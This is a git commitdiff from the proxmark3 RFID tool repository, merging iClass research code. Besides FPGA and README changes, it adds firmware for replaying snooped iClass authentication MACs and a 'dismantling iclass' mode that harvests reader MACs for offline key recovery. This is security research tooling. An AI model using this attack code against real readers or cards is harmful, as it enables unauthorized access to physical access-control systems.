]> git.zerfleddert.de Git - proxmark3-svn/commitdiff
Merge branch 'iclass-research' of https://github.com/PenturaLabs/proxmark3 into Pentu...
authorMartin Holst Swende <martin@swende.se>
Sat, 28 Jun 2014 18:52:37 +0000 (20:52 +0200)
committerMartin Holst Swende <martin@swende.se>
Sat, 28 Jun 2014 18:52:37 +0000 (20:52 +0200)
Conflicts:
README.txt
armsrc/apps.h
client/Makefile
client/cmdhficlass.c
client/cmdhficlass.h

19 files changed:
1  2 
README.txt
armsrc/appmain.c
armsrc/apps.h
armsrc/iclass.c
client/Makefile
client/cmdhficlass.c
client/loclass/cipher.c
client/loclass/cipher.h
client/loclass/cipherutils.c
client/loclass/cipherutils.h
client/loclass/elite_crack.c
client/loclass/elite_crack.h
client/loclass/fileutils.c
client/loclass/fileutils.h
client/loclass/ikeys.c
client/loclass/ikeys.h
client/loclass/main.c
client/obj/loclass/.dummy
include/usb_cmd.h

diff --combined README.txt
index ce5eacf451d49da997f052abbf60bb2fc13b2254,1f506f21f3dfcb3f32be2c1179c6e426b2fbc571..cb2c7f3c783a137b43f99c7d14010d611bfa49ee
@@@ -1,88 -1,7 +1,87 @@@
 -iclass research
 -===============
 +NOTICE:
 +(2014-03-26)
 +This is now the official Proxmark repository!
  
 -Implemented "hf iclass replay <MAC>" where MAC is 8-char Hexidecimal MAC.
 +INTRODUCTION:
  
 -Useful to replay a snooped authentication sequence if cc (e-purse) is not correctly updated as per the specification.
 -Currently hardset to only read Page 1.
 +The proxmark3 is a powerful general purpose RFID tool, the size of a deck
 +of cards, designed to snoop, listen and emulate everything from
 +Low Frequency (125kHz) to High Frequency (13.56MHz) tags.
 +
 +This repository contains enough software, logic (for the FPGA), and design
 +documentation for the hardware that you could, at least in theory,
 +do something useful with a proxmark3.
 +
 +RESOURCES:
 +
 +   * This repository!
 +      https://github.com/Proxmark/proxmark3
 +      
 +   * The Wiki
 +      https://github.com/Proxmark/proxmark3/wiki
 +      
 +   * The GitHub page
 +      http://proxmark.github.io/proxmark3/
 +      
 +   * The Forum
 +      http://www.proxmark.org/forum
 +      
 +   * The IRC chanel
 +       irc.freenode.org #proxmark3
 +       -or-
 +       http://webchat.freenode.net/?channels=#proxmark3
 +   
 +DEVELOPMENT:
 +
 +The tools required to build  or run the project will vary depending on
 +your operating system. Please refer to the Wiki for details.
 +
 +   * https://github.com/Proxmark/proxmark3/wiki
 +
 +OBTAINING HARDWARE:
 +
 +The Proxmark 3 is available for purcahse (assembled and tested) from the
 +following locations:
 +
 +   * http://proxmark3.com/
 +   * http://www.xfpga.com/
 +
 +Most of the ultra-low-volume contract assemblers could put
 +something like this together with a reasonable yield. A run of around
 +a dozen units is probably cost-effective. The BOM includes (possibly-
 +outdated) component pricing, and everything is available from Digikey
 +and the usual distributors.
 +
 +If you've never assembled a modern circuit board by hand, then this is
 +not a good place to start. Some of the components (e.g. the crystals)
 +must not be assembled with a soldering iron, and require hot air.
 +
 +The schematics are included; the component values given are not
 +necessarily correct for all situations, but it should be possible to do
 +nearly anything you would want with appropriate population options.
 +
 +The printed circuit board artwork is also available, as Gerbers and an
 +Excellon drill file.
 +
 +
 +LICENSING:
 +
 +This program is free software; you can redistribute it and/or modify
 +it under the terms of the GNU General Public License as published by
 +the Free Software Foundation; either version 2 of the License, or
 +(at your option) any later version.
 +
 +This program is distributed in the hope that it will be useful,
 +but WITHOUT ANY WARRANTY; without even the implied warranty of
 +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 +GNU General Public License for more details.
 +
 +You should have received a copy of the GNU General Public License
 +along with this program; if not, write to the Free Software
 +Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
 +
 +
 +Jonathan Westhues
 +user jwesthues, at host cq.cx
 +
 +May 2007, Cambridge MA
diff --combined armsrc/appmain.c
index 2061f6b3efb758fb4817cf54f0f2cd4c082a88b9,78605bda22e9c06668b40b5df3511d5b51b06251..5aad658968248907abcde27331a78f921f791ed0
@@@ -214,8 -214,7 +214,8 @@@ void MeasureAntennaTuning(void
   * ( hopefully around 95 if it is tuned to 125kHz!)
   */
    
 -      FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_READER);
 +      FpgaDownloadAndGo(FPGA_BITSTREAM_LF);
 +      FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_ADC | FPGA_LF_ADC_READER_FIELD);
        for (i=255; i>19; i--) {
      WDT_HIT();
                FpgaSendCommand(FPGA_CMD_SET_DIVISOR, i);
  
    LED_A_ON();
        // Let the FPGA drive the high-frequency antenna around 13.56 MHz.
 +      FpgaDownloadAndGo(FPGA_BITSTREAM_HF);
        FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_READER_RX_XCORR);
        SpinDelay(20);
        // Vref = 3300mV, and an 10:1 voltage divider on the input
@@@ -266,7 -264,6 +266,7 @@@ void MeasureAntennaTuningHf(void
  
        for (;;) {
                // Let the FPGA drive the high-frequency antenna around 13.56 MHz.
 +              FpgaDownloadAndGo(FPGA_BITSTREAM_HF);
                FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_READER_RX_XCORR);
                SpinDelay(20);
                // Vref = 3300mV, and an 10:1 voltage divider on the input
@@@ -289,7 -286,6 +289,7 @@@ void SimulateTagHfListen(void
  
        // We're using this mode just so that I can test it out; the simulated
        // tag mode would work just as well and be simpler.
 +      FpgaDownloadAndGo(FPGA_BITSTREAM_HF);
        FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_READER_RX_XCORR | FPGA_HF_READER_RX_XCORR_848_KHZ | FPGA_HF_READER_RX_XCORR_SNOOP);
  
        // We need to listen to the high-frequency, peak-detected path.
@@@ -340,7 -336,7 +340,7 @@@ extern struct version_information versi
  extern char *_bootphase1_version_pointer, _flash_start, _flash_end;
  void SendVersion(void)
  {
 -      char temp[48]; /* Limited data payload in USB packets */
 +      char temp[256]; /* Limited data payload in USB packets */
        DbpString("Prox/RFID mark3 RFID instrument");
  
        /* Try to find the bootrom version information. Expect to find a pointer at
  void SamyRun()
  {
        DbpString("Stand-alone mode! No PC necessary.");
 +      FpgaDownloadAndGo(FPGA_BITSTREAM_LF);
  
        // 3 possible options? no just 2 for now
  #define OPTS 2
@@@ -638,10 -633,6 +638,10 @@@ void UsbPacketReceived(uint8_t *packet
                case CMD_MOD_THEN_ACQUIRE_RAW_ADC_SAMPLES_125K:
                        ModThenAcquireRawAdcSamples125k(c->arg[0],c->arg[1],c->arg[2],c->d.asBytes);
                        break;
 +              case CMD_LF_SNOOP_RAW_ADC_SAMPLES:
 +                      SnoopLFRawAdcSamples(c->arg[0], c->arg[1]);
 +                      cmd_send(CMD_ACK,0,0,0,0,0);
 +                      break;
                case CMD_HID_DEMOD_FSK:
                        CmdHIDdemodFSK(0, 0, 0, 1);                                     // Demodulate HID tag
                        break;
                        SnoopIClass();
                        break;
                case CMD_SIMULATE_TAG_ICLASS:
 -                      SimulateIClass(c->arg[0], c->d.asBytes);
 +                      SimulateIClass(c->arg[0], c->arg[1], c->arg[2], c->d.asBytes);
                        break;
                case CMD_READER_ICLASS:
                        ReaderIClass(c->arg[0]);
                        break;
+               case CMD_READER_ICLASS_REPLAY:
+                   ReaderIClass_Replay(c->arg[0], c->d.asBytes);
+                       break;
+               case CMD_ICLASS_ISO14443A_GETPUBLIC:
+                   IClass_iso14443A_GetPublic(c->arg[0]);
+                   break;
  #endif
  
                case CMD_SIMULATE_TAG_HF_LISTEN:
                        break;
  
                case CMD_SET_LF_DIVISOR:
 +                      FpgaDownloadAndGo(FPGA_BITSTREAM_LF);
                        FpgaSendCommand(FPGA_CMD_SET_DIVISOR, c->arg[0]);
                        break;
  
@@@ -1027,8 -1023,7 +1033,8 @@@ void  __attribute__((noreturn)) AppMain
        AT91C_BASE_SSC->SSC_CR = AT91C_SSC_SWRST;
  
        // Load the FPGA image, which we have stored in our flash.
 -      FpgaDownloadAndGo();
 +      // (the HF version by default)
 +      FpgaDownloadAndGo(FPGA_BITSTREAM_HF);
  
        StartTickCount();
        
diff --combined armsrc/apps.h
index 1ef0e472969d8d63fd255305f603762ef664cf26,237c52917685627795ff20e12b600f0b412b1e58..011ad6953b27796587ad3d62750a037c499898ba
@@@ -59,8 -59,7 +59,8 @@@ void ToSendStuffBit(int b)
  void ToSendReset(void);
  void ListenReaderField(int limit);
  void AcquireRawAdcSamples125k(int at134khz);
 -void DoAcquisition125k(void);
 +void SnoopLFRawAdcSamples(int divisor, int trigger_threshold);
 +void DoAcquisition125k(int trigger_threshold);
  extern int ToSendMax;
  extern uint8_t ToSend[];
  extern uint32_t BigBuf[];
@@@ -68,8 -67,7 +68,8 @@@
  /// fpga.h
  void FpgaSendCommand(uint16_t cmd, uint16_t v);
  void FpgaWriteConfWord(uint8_t v);
 -void FpgaDownloadAndGo(void);
 +void FpgaDownloadAndGo(int bitstream_version);
 +int FpgaGatherBitstreamVersion();
  void FpgaGatherVersion(char *dst, int len);
  void FpgaSetupSsc(void);
  void SetupSpi(int mode);
@@@ -79,40 -77,31 +79,40 @@@ bool FpgaSetupSscDma(uint8_t *buf, int 
  void SetAdcMuxFor(uint32_t whichGpio);
  
  // Definitions for the FPGA commands.
 -#define FPGA_CMD_SET_CONFREG                                          (1<<12)
 -#define FPGA_CMD_SET_DIVISOR                                          (2<<12)
 +#define FPGA_CMD_SET_CONFREG                                  (1<<12)
 +#define FPGA_CMD_SET_DIVISOR                                  (2<<12)
 +#define FPGA_CMD_SET_USER_BYTE1                                       (3<<12)
  // Definitions for the FPGA configuration word.
 -#define FPGA_MAJOR_MODE_LF_READER                                     (0<<5)
 -#define FPGA_MAJOR_MODE_LF_EDGE_DETECT                                (1<<5)
 -#define FPGA_MAJOR_MODE_HF_READER_TX                          (2<<5)
 -#define FPGA_MAJOR_MODE_HF_READER_RX_XCORR                    (3<<5)
 -#define FPGA_MAJOR_MODE_HF_SIMULATOR                          (4<<5)
 -#define FPGA_MAJOR_MODE_HF_ISO14443A                          (5<<5)
 -#define FPGA_MAJOR_MODE_LF_PASSTHRU                                   (6<<5)
 -#define FPGA_MAJOR_MODE_OFF                                                   (7<<5)
 +// LF
 +#define FPGA_MAJOR_MODE_LF_ADC                                        (0<<5)
 +#define FPGA_MAJOR_MODE_LF_EDGE_DETECT                        (1<<5)
 +#define FPGA_MAJOR_MODE_LF_PASSTHRU                           (2<<5)
 +// HF
 +#define FPGA_MAJOR_MODE_HF_READER_TX                          (0<<5)
 +#define FPGA_MAJOR_MODE_HF_READER_RX_XCORR                    (1<<5)
 +#define FPGA_MAJOR_MODE_HF_SIMULATOR                          (2<<5)
 +#define FPGA_MAJOR_MODE_HF_ISO14443A                          (3<<5)
 +// BOTH
 +#define FPGA_MAJOR_MODE_OFF                                   (7<<5)
 +// Options for LF_ADC
 +#define FPGA_LF_ADC_READER_FIELD                              (1<<0)
  // Options for LF_EDGE_DETECT
 +#define FPGA_CMD_SET_EDGE_DETECT_THRESHOLD                    FPGA_CMD_SET_USER_BYTE1
  #define FPGA_LF_EDGE_DETECT_READER_FIELD                      (1<<0)
 +#define FPGA_LF_EDGE_DETECT_TOGGLE_MODE                               (1<<1)
  // Options for the HF reader, tx to tag
  #define FPGA_HF_READER_TX_SHALLOW_MOD                         (1<<0)
  // Options for the HF reader, correlating against rx from tag
  #define FPGA_HF_READER_RX_XCORR_848_KHZ                               (1<<0)
  #define FPGA_HF_READER_RX_XCORR_SNOOP                         (1<<1)
 -#define FPGA_HF_READER_RX_XCORR_QUARTER_FREQ          (1<<2)
 +#define FPGA_HF_READER_RX_XCORR_QUARTER_FREQ                  (1<<2)
  // Options for the HF simulated tag, how to modulate
  #define FPGA_HF_SIMULATOR_NO_MODULATION                               (0<<0)
  #define FPGA_HF_SIMULATOR_MODULATE_BPSK                               (1<<0)
  #define FPGA_HF_SIMULATOR_MODULATE_212K                               (2<<0)
 +#define FPGA_HF_SIMULATOR_MODULATE_424K                               (4<<0)
  // Options for ISO14443A
 -#define FPGA_HF_ISO14443A_SNIFFER                                     (0<<0)
 +#define FPGA_HF_ISO14443A_SNIFFER                             (0<<0)
  #define FPGA_HF_ISO14443A_TAGSIM_LISTEN                               (1<<0)
  #define FPGA_HF_ISO14443A_TAGSIM_MOD                          (2<<0)
  #define FPGA_HF_ISO14443A_READER_LISTEN                               (3<<0)
@@@ -157,7 -146,7 +157,7 @@@ void RAMFUNC SnoopIso14443a(uint8_t par
  void SimulateIso14443aTag(int tagType, int uid_1st, int uid_2nd, byte_t* data);
  void ReaderIso14443a(UsbCommand * c);
  // Also used in iclass.c
 -bool RAMFUNC LogTrace(const uint8_t * btBytes, uint8_t iLen, uint32_t iSamples, uint32_t dwParity, bool bReader);
 +bool RAMFUNC LogTrace(const uint8_t * btBytes, uint8_t iLen, uint32_t iSamples, uint32_t dwParity, bool readerToTag);
  uint32_t GetParity(const uint8_t * pbtCmd, int iLen);
  void iso14a_set_trigger(bool enable);
  void iso14a_clear_trace();
@@@ -199,9 -188,11 +199,11 @@@ void SetDebugIso15693(uint32_t flag)
  
  /// iclass.h
  void RAMFUNC SnoopIClass(void);
 -void SimulateIClass(uint8_t arg0, uint8_t *datain);
 +void SimulateIClass(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *datain);
  void ReaderIClass(uint8_t arg0);
- //int doIClassSimulation(uint8_t csn[], int breakAfterMacReceived);
+ void ReaderIClass_Replay(uint8_t arg0,uint8_t *MAC);
+ void IClass_iso14443A_GetPublic(uint8_t arg0);
  // hitag2.h
  void SnoopHitag(uint32_t type);
  void SimulateHitagTag(bool tag_mem_supplied, byte_t* data);
diff --combined armsrc/iclass.c
index d5cd366dad9c1288403579b271739a21cb873928,9971b670c93778bb48086e4dfe6a386467e676b8..017d5eff7dd1aec437391e072fd2db16566c056f
  #include "util.h"
  #include "string.h"
  #include "common.h"
+ #include "cmd.h"
  // Needed for CRC in emulation mode;
  // same construction as in ISO 14443;
  // different initial value (CRC_ICLASS)
  #include "iso14443crc.h"
+ #include "iso15693tools.h"
  
  static int timeout = 4096;
  
 -// CARD TO READER
 -// Sequence D: 11110000 modulation with subcarrier during first half
 -// Sequence E: 00001111 modulation with subcarrier during second half
 -// Sequence F: 00000000 no modulation with subcarrier
 -// READER TO CARD
 -// Sequence X: 00001100 drop after half a period
 -// Sequence Y: 00000000 no drop
 -// Sequence Z: 11000000 drop at start
 -#define       SEC_X 0x0c
 -#define       SEC_Y 0x00
 -#define       SEC_Z 0xc0
  
  static int SendIClassAnswer(uint8_t *resp, int respLen, int delay);
  
@@@ -655,7 -668,12 +657,7 @@@ static RAMFUNC int ManchesterDecoding(i
  //-----------------------------------------------------------------------------
  void RAMFUNC SnoopIClass(void)
  {
 -// DEFINED ABOVE
 -// #define RECV_CMD_OFFSET   3032
 -// #define RECV_RES_OFFSET   3096
 -// #define DMA_BUFFER_OFFSET 3160
 -// #define DMA_BUFFER_SIZE   4096
 -// #define TRACE_SIZE        3000
 +
  
      // We won't start recording the frames that we acquire until we trigger;
      // a good trigger condition to get started is probably when we see a
      // The command (reader -> tag) that we're receiving.
        // The length of a received command will in most cases be no more than 18 bytes.
        // So 32 should be enough!
 -    uint8_t *receivedCmd = (((uint8_t *)BigBuf) + RECV_CMD_OFFSET);
 +      uint8_t *readerToTagCmd = (((uint8_t *)BigBuf) + RECV_CMD_OFFSET);
      // The response (tag -> reader) that we're receiving.
 -    uint8_t *receivedResponse = (((uint8_t *)BigBuf) + RECV_RES_OFFSET);
 +      uint8_t *tagToReaderResponse = (((uint8_t *)BigBuf) + RECV_RES_OFFSET);
  
 -    // As we receive stuff, we copy it from receivedCmd or receivedResponse
 -    // into trace, along with its length and other annotations.
 -    //uint8_t *trace = (uint8_t *)BigBuf;
 -    
 +    FpgaDownloadAndGo(FPGA_BITSTREAM_HF);
 + 
      // reset traceLen to 0
      iso14a_set_tracing(TRUE);
      iso14a_clear_trace();
      int samples = 0;
      rsamples = 0;
  
 -    memset(trace, 0x44, RECV_CMD_OFFSET);
 -
      // Set up the demodulator for tag -> reader responses.
 -    Demod.output = receivedResponse;
 +      Demod.output = tagToReaderResponse;
      Demod.len = 0;
      Demod.state = DEMOD_UNSYNCD;
  
  
      // And the reader -> tag commands
      memset(&Uart, 0, sizeof(Uart));
 -    Uart.output = receivedCmd;
 +      Uart.output = readerToTagCmd;
      Uart.byteCntMax = 32; // was 100 (greg)////////////////////////////////////////////////////////////////////////
      Uart.state = STATE_UNSYNCD;
  
      FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_SNIFFER);
      SetAdcMuxFor(GPIO_MUXSEL_HIPKD);
  
 +      uint32_t time_0 = GetCountSspClk();
 +
 +
      int div = 0;
      //int div2 = 0;
      int decbyte = 0;
  
          //samples += 4;
        samples += 1;
 -      //div2++;       
  
 -      //if(div2 > 3) {
 -              //div2 = 0;
 -      //decbyte ^= ((smpl & 0x01) << (3 - div));
 -      //decbyte ^= (((smpl & 0x01) | ((smpl & 0x02) >> 1)) << (3 - div)); // better already...
 -      //decbyte ^= (((smpl & 0x01) | ((smpl & 0x02) >> 1) | ((smpl & 0x04) >> 2)) << (3 - div)); // even better...
        if(smpl & 0xF) {
                decbyte ^= (1 << (3 - div));
        }
 -      //decbyte ^= (MajorityNibble[(smpl & 0x0F)] << (3 - div));
        
        // FOR READER SIDE COMMUMICATION...
 -      //decbyte ^=  ((smpl & 0x10) << (3 - div));
 +
        decbyter <<= 2;
        decbyter ^= (smpl & 0x30);
  
                if(OutOfNDecoding((smpl & 0xF0) >> 4)) {
                    rsamples = samples - Uart.samples;
                    LED_C_ON();
 -                  //if(triggered) {
 -                      trace[traceLen++] = ((rsamples >>  0) & 0xff);
 -                      trace[traceLen++] = ((rsamples >>  8) & 0xff);
 -                      trace[traceLen++] = ((rsamples >> 16) & 0xff);
 -                      trace[traceLen++] = ((rsamples >> 24) & 0xff);
 -                      trace[traceLen++] = ((Uart.parityBits >>  0) & 0xff);
 -                      trace[traceLen++] = ((Uart.parityBits >>  8) & 0xff);
 -                      trace[traceLen++] = ((Uart.parityBits >> 16) & 0xff);
 -                      trace[traceLen++] = ((Uart.parityBits >> 24) & 0xff);
 -                      trace[traceLen++] = Uart.byteCnt;
 -                      memcpy(trace+traceLen, receivedCmd, Uart.byteCnt);
 -                      traceLen += Uart.byteCnt;
 -                      if(traceLen > TRACE_SIZE) break;
 -                  //}
 -                  /* And ready to receive another command. */
 +
 +                      //if(!LogTrace(Uart.output,Uart.byteCnt, rsamples, Uart.parityBits,TRUE)) break;
 +                      //if(!LogTrace(NULL, 0, Uart.endTime*16 - DELAY_READER_AIR2ARM_AS_SNIFFER, 0, TRUE)) break;
 +                      if(tracing)
 +                      {
 +                              LogTrace(Uart.output,Uart.byteCnt, (GetCountSspClk()-time_0) << 4, Uart.parityBits,TRUE);
 +                              LogTrace(NULL, 0, (GetCountSspClk()-time_0) << 4, 0, TRUE);
 +                      }
 +
 +
 +                      /* And ready to receive another command. */
                    Uart.state = STATE_UNSYNCD;
                    /* And also reset the demod code, which might have been */
                    /* false-triggered by the commands from the reader. */
                    rsamples = samples - Demod.samples;
                    LED_B_ON();
  
 -                  // timestamp, as a count of samples
 -                  trace[traceLen++] = ((rsamples >>  0) & 0xff);
 -                  trace[traceLen++] = ((rsamples >>  8) & 0xff);
 -                  trace[traceLen++] = ((rsamples >> 16) & 0xff);
 -                  trace[traceLen++] = 0x80 | ((rsamples >> 24) & 0xff);
 -                  trace[traceLen++] = ((Demod.parityBits >>  0) & 0xff);
 -                  trace[traceLen++] = ((Demod.parityBits >>  8) & 0xff);
 -                  trace[traceLen++] = ((Demod.parityBits >> 16) & 0xff);
 -                  trace[traceLen++] = ((Demod.parityBits >> 24) & 0xff);
 -                  // length
 -                  trace[traceLen++] = Demod.len;
 -                  memcpy(trace+traceLen, receivedResponse, Demod.len);
 -                  traceLen += Demod.len;
 -                  if(traceLen > TRACE_SIZE) break;
 -
 -                  //triggered = TRUE;
 +                      if(tracing)
 +                      {
 +                              LogTrace(Demod.output,Demod.len, (GetCountSspClk()-time_0) << 4 , Demod.parityBits,FALSE);
 +                              LogTrace(NULL, 0, (GetCountSspClk()-time_0) << 4, 0, FALSE);
 +                      }
 +
  
                    // And ready to receive another response.
                    memset(&Demod, 0, sizeof(Demod));
 -                  Demod.output = receivedResponse;
 +                      Demod.output = tagToReaderResponse;
                    Demod.state = DEMOD_UNSYNCD;
                    LED_C_OFF();
                }
@@@ -884,8 -924,6 +886,8 @@@ static int GetIClassCommandFromReader(u
  //-----------------------------------------------------------------------------
  static void CodeIClassTagAnswer(const uint8_t *cmd, int len)
  {
 +      //So far a dummy implementation, not used
 +      //int lastProxToAirDuration =0;
        int i;
  
        ToSendReset();
        ToSend[++ToSendMax] = 0x00;
        ToSend[++ToSendMax] = 0x00;
        ToSend[++ToSendMax] = 0x00;
 -      ToSend[++ToSendMax] = 0xff;
 +      ToSend[++ToSendMax] = 0xff;//Proxtoair duration starts here
        ToSend[++ToSendMax] = 0xff;
        ToSend[++ToSendMax] = 0xff;
        ToSend[++ToSendMax] = 0x00;
        ToSend[++ToSendMax] = 0x00;
        ToSend[++ToSendMax] = 0xff;
        ToSend[++ToSendMax] = 0xff;
 -      ToSend[++ToSendMax] = 0xff;
 +      ToSend[++ToSendMax] = 0xff;     
        ToSend[++ToSendMax] = 0x00;
        ToSend[++ToSendMax] = 0x00;
        ToSend[++ToSendMax] = 0x00;
  
 +      //lastProxToAirDuration  = 8*ToSendMax - 3*8 - 3*8;//Not counting zeroes in the beginning or end
 +
        // Convert from last byte pos to length
        ToSendMax++;
  }
  // Only SOF 
  static void CodeIClassTagSOF()
  {
 -      ToSendReset();
 +      //So far a dummy implementation, not used
 +      //int lastProxToAirDuration =0;
  
 +      ToSendReset();
        // Send SOF
        ToSend[++ToSendMax] = 0x00;
        ToSend[++ToSendMax] = 0x00;
        ToSend[++ToSendMax] = 0xff;
        ToSend[++ToSendMax] = 0x00;
        ToSend[++ToSendMax] = 0xff;
 +
 +//    lastProxToAirDuration  = 8*ToSendMax - 3*8;//Not counting zeroes in the beginning
 +
        
        // Convert from last byte pos to length
        ToSendMax++;
  }
 +int doIClassSimulation(uint8_t csn[], int breakAfterMacReceived, uint8_t *reader_mac_buf);
 +/**
 + * @brief SimulateIClass simulates an iClass card.
 + * @param arg0 type of simulation
 + *                    - 0 uses the first 8 bytes in usb data as CSN
 + *                    - 2 "dismantling iclass"-attack. This mode iterates through all CSN's specified
 + *                    in the usb data. This mode collects MAC from the reader, in order to do an offline
 + *                    attack on the keys. For more info, see "dismantling iclass" and proxclone.com.
 + *                    - Other : Uses the default CSN (031fec8af7ff12e0)
 + * @param arg1 - number of CSN's contained in datain (applicable for mode 2 only)
 + * @param arg2
 + * @param datain
 + */
 +void SimulateIClass(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *datain)
 +{
 +      uint32_t simType = arg0;
 +      uint32_t numberOfCSNS = arg1;
 +      FpgaDownloadAndGo(FPGA_BITSTREAM_HF);
  
 -//-----------------------------------------------------------------------------
 -// Simulate iClass Card
 -// Only CSN (Card Serial Number)
 -// 
 -//-----------------------------------------------------------------------------
 -void SimulateIClass(uint8_t arg0, uint8_t *datain)
 +      // Enable and clear the trace
 +      iso14a_set_tracing(TRUE);
 +      iso14a_clear_trace();
 +
 +      uint8_t csn_crc[] = { 0x03, 0x1f, 0xec, 0x8a, 0xf7, 0xff, 0x12, 0xe0, 0x00, 0x00 };
 +      if(simType == 0) {
 +              // Use the CSN from commandline
 +              memcpy(csn_crc, datain, 8);
 +              doIClassSimulation(csn_crc,0,NULL);
 +      }else if(simType == 1)
 +      {
 +              doIClassSimulation(csn_crc,0,NULL);
 +      }
 +      else if(simType == 2)
 +      {
 +
 +              uint8_t mac_responses[64] = { 0 };
 +              Dbprintf("Going into attack mode");
 +              // In this mode, a number of csns are within datain. We'll simulate each one, one at a time
 +              // in order to collect MAC's from the reader. This can later be used in an offlne-attack
 +              // in order to obtain the keys, as in the "dismantling iclass"-paper.
 +              int i = 0;
 +              for( ; i < numberOfCSNS && i*8+8 < USB_CMD_DATA_SIZE; i++)
 +              {
 +                      // The usb data is 512 bytes, fitting 65 8-byte CSNs in there.
 +
 +                      memcpy(csn_crc, datain+(i*8), 8);
 +                      if(doIClassSimulation(csn_crc,1,mac_responses))
 +                      {
 +                              return; // Button pressed
 +                      }
 +              }
 +              cmd_send(CMD_ACK,CMD_SIMULATE_TAG_ICLASS,i,0,mac_responses,i*8);
 +
 +      }
 +      else{
 +              // We may want a mode here where we hardcode the csns to use (from proxclone).
 +              // That will speed things up a little, but not required just yet.
 +              Dbprintf("The mode is not implemented, reserved for future use");
 +      }
 +      Dbprintf("Done...");
 +
 +}
 +/**
 + * @brief Does the actual simulation
 + * @param csn - csn to use
 + * @param breakAfterMacReceived if true, returns after reader MAC has been received.
 + */
 +int doIClassSimulation(uint8_t csn[], int breakAfterMacReceived, uint8_t *reader_mac_buf)
  {
 -      uint8_t simType = arg0;
  
 -  // Enable and clear the trace
 -      tracing = TRUE;
 -      traceLen = 0;
 -  memset(trace, 0x44, TRACE_SIZE);
  
        // CSN followed by two CRC bytes
        uint8_t response2[] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };
 -      uint8_t response3[] = { 0x03, 0x1f, 0xec, 0x8a, 0xf7, 0xff, 0x12, 0xe0, 0x00, 0x00 };
 -
 +      uint8_t response3[] = { 0,0,0,0,0,0,0,0,0,0};
 +      memcpy(response3,csn,sizeof(response3));
 +      Dbprintf("Simulating CSN %02x%02x%02x%02x%02x%02x%02x%02x",csn[0],csn[1],csn[2],csn[3],csn[4],csn[5],csn[6],csn[7]);
        // e-Purse
        uint8_t response4[] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };
  
 -      if(simType == 0) {
 -              // Use the CSN from commandline
 -              memcpy(response3, datain, 8);
 -      }
 -
        // Construct anticollision-CSN
        rotateCSN(response3,response2);
  
        ComputeCrc14443(CRC_ICLASS, response2, 8, &response2[8], &response2[9]);
        ComputeCrc14443(CRC_ICLASS, response3, 8, &response3[8], &response3[9]);
  
 +      int exitLoop = 0;
        // Reader 0a
        // Tag    0f
        // Reader 0c
        int resp4Len;
  
        // + 1720..
 -  uint8_t *receivedCmd = (((uint8_t *)BigBuf) + RECV_CMD_OFFSET);
 +      uint8_t *receivedCmd = (((uint8_t *)BigBuf) + RECV_CMD_OFFSET);
        memset(receivedCmd, 0x44, RECV_CMD_SIZE);
        int len;
  
        CodeIClassTagAnswer(response4, sizeof(response4));
        memcpy(resp4, ToSend, ToSendMax); resp4Len = ToSendMax;
  
 +
 +      // Start from off (no field generated)
 +      //FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
 +      //SpinDelay(200);
 +      FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_TAGSIM_LISTEN);
 +      SpinDelay(100);
 +      StartCountSspClk();
        // We need to listen to the high-frequency, peak-detected path.
        SetAdcMuxFor(GPIO_MUXSEL_HIPKD);
        FpgaSetupSsc();
  
        // To control where we are in the protocol
        int cmdsRecvd = 0;
 +      uint32_t time_0 = GetCountSspClk();
 +      uint32_t t2r_time =0;
 +      uint32_t r2t_time =0;
  
        LED_A_ON();
 -      for(;;) {
 +      bool buttonPressed = false;
 +
 +      /** Hack  for testing
 +      memcpy(reader_mac_buf,csn,8);
 +      exitLoop = true;
 +      end hack **/
 +
 +      while(!exitLoop) {
 +
                LED_B_OFF();
 +              //Signal tracer
 +              // Can be used to get a trigger for an oscilloscope..
 +              LED_C_OFF();
 +
                if(!GetIClassCommandFromReader(receivedCmd, &len, 100)) {
 -                      DbpString("button press");
 +                      buttonPressed = true;
                        break;
                }
 +              r2t_time = GetCountSspClk();
 +              //Signal tracer
 +              LED_C_ON();
  
                // Okay, look at the command now.
 -              if(receivedCmd[0] == 0x0a) {
 +              if(receivedCmd[0] == 0x0a ) {
                        // Reader in anticollission phase
                        resp = resp1; respLen = resp1Len; //order = 1;
                        respdata = &sof;
                        respsize = sizeof(sof);
 -                      //resp = resp2; respLen = resp2Len; order = 2;
 -                      //DbpString("Hello request from reader:");
                } else if(receivedCmd[0] == 0x0c) {
                        // Reader asks for anticollission CSN
                        resp = resp2; respLen = resp2Len; //order = 2;
                        LED_B_ON();
                } else if(receivedCmd[0] == 0x05) {
                        // Reader random and reader MAC!!!
 -                      // Lets store this ;-)
 -/*
 -                      Dbprintf("                CSN: %02x %02x %02x %02x %02x %02x %02x %02x",
 -                      response3[0], response3[1], response3[2],
 -                      response3[3], response3[4], response3[5],
 -                      response3[6], response3[7]);
 -*/                    
 -                      Dbprintf("READER AUTH (len=%02d): %02x %02x %02x %02x %02x %02x %02x %02x %02x",
 -                      len,
 -                      receivedCmd[0], receivedCmd[1], receivedCmd[2],
 -                      receivedCmd[3], receivedCmd[4], receivedCmd[5],
 -                      receivedCmd[6], receivedCmd[7], receivedCmd[8]);
 -
                        // Do not respond
                        // We do not know what to answer, so lets keep quit
                        resp = resp1; respLen = 0; //order = 5;
                        respdata = NULL;
                        respsize = 0;
 +                      if (breakAfterMacReceived){
 +                              // TODO, actually return this to the caller instead of just
 +                              // dbprintf:ing ...
 +                              Dbprintf("CSN: %02x %02x %02x %02x %02x %02x %02x %02x",csn[0],csn[1],csn[2],csn[3],csn[4],csn[5],csn[6],csn[7]);
 +                              Dbprintf("RDR:  (len=%02d): %02x %02x %02x %02x %02x %02x %02x %02x %02x",len,
 +                                               receivedCmd[0], receivedCmd[1], receivedCmd[2],
 +                                              receivedCmd[3], receivedCmd[4], receivedCmd[5],
